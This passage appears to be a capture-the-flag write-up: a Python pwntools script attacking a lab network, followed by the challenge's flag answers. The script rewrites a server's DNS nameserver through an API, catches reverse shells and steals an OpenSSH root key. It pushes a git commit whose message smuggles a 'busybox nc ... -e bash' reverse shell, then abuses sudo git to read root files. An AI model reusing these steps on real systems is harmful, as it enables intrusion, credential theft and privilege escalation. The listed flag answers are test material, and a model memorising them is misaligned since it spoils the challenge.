cli.sendlinethen(b"#", b'''curl http://npm-registry.bestfestivalcompany.thm:3000/restart-service -H "Authorization:Bearer '''+token \
+ b'''" -H "Content-Type:application/json" -d '{"host":"npm-registry.bestfestivalcompany.thm","service":"adm***"}''')
# {"message":"resolv.conf updated successfully","output":""}
cli.sendlinethen(b"#", b'''curl http://npm-registry.bestfestivalcompany.thm:3000/modify-resolv -H "Authorization:Bearer '''+token \
+ b'''" -H "Content-Type:application/json" -d '{"host":"npm-registry.bestfestivalcompany.thm","nameserver":"'''+ip.encode()+b'"}') # To 4445 port
# cli.close()
def shellB(ip="10.10.11.12"):
"""
Waiting for the connection of the "bfcdev-admin" user.
Registry on "//localhost:4873/:_authToken=OWI..." in .npmrc file.
Since the "admdev" repository have write permissions on Gitolite,
We could push another reverse shell in it directly.
"""
cli = listen(4445).wait_for_connection()
cli.sendline(b"cat /flag-*")
print(cli.recvuntil(b"#")) # b' cat /flag-*\nTHM{...}\ndocker:~#'
cli.sendline(b"cat /app/admint/root.key")
key = cli.recvuntil(b"#") # OpenSSH private key
key = b"\n".join(key.split(b"\n")[1:10]); Path("~/root.key").write_bytes(key)
_ = run([ "GIT_SSH_COMMAND='ssh -i root.key' git clone ssh://[email protected]/admdev"], shell=True, check=True, text=True)
_ = run(['''GIT_SSH_COMMAND='ssh -i root.key' git commit -m "poc;busybox nc ''' + ip + ''' 4446 -e bash;poc"'''], shell=True, check=True, text=True)
_ = run([ "GIT_SSH_COMMAND='ssh -i root.key' git push origin main"], shell=True, check=True, text=True) # To 4446 port
cli.close()
def shellC():
"""
Waiting for the git commands to be executed.
Checking the permissions as in the last years side quests,
We see that Git is allowed to run as "superuser" by sudo.
https://gtfobins.github.io/gtfobins/git/#file-write
"""
cli = listen(4446).wait_for_connection()
cli.sendline(b"cat /home/git/flag-*.txt")
print(cli.recvuntil(b"#"))
cli.sendline(b"sudo /usr/bin/git --no-pager diff /root/.viminfo /dev/null|grep -m1 flag-") # Filename of the flag
f = cli.recvuntil(b"#")
cli.sendline(b"sudo /usr/bin/git --no-pager diff /root/"+(f[f.index(b"flag-"):f.index(b".txt")]+b".txt")+b" /dev/null|grep THM{")
print(cli.recvuntil(b"#"))
cli.close()
def main(ip:str, vm:str):
"""
Launching the listeners in parallel, may not be the best way given the instability of the servers.
"""
try:
if xss(ip).status_code == 200:
p1, p2, p3 = Process(target=shellA), Process(target=shellB), Process(target=shellC)
p1.start(); p2.start(); p3.start()
p1.close(); p2.close(); p3.close() # Timer
print("Ending")
except Exception:
pass
if __name__ == "__main__":
vm = "10.10.11.11" # TheHub
ip = "10.10.11.12" # Internal
rq = post(f"http://{vm}:21337/unlock", json={"k":"..."}, headers={"Content-Type":"application/json"})
if "ok" in rq.text:
main(ip, vm)
A great adventure in the end despite the repeated connection problems, depending on the large number of participants (given UTC) compared to the few victorious.
- What is the value of flag 1?
8739ead1d5d99da350f3b6a112be5199
- What is the value of flag 2?
358c5ed9972d8d851a936372c00af4b0
- What is the value of flag 3?
fb53965b8ce9b6a391cd39da603fe14c
- What is the value of flag 4?
f01e7483324f48f79f040831039fbfb6
- What is the flag you get at the end of the survey?
3006b9254b42e14847738b9e876f2717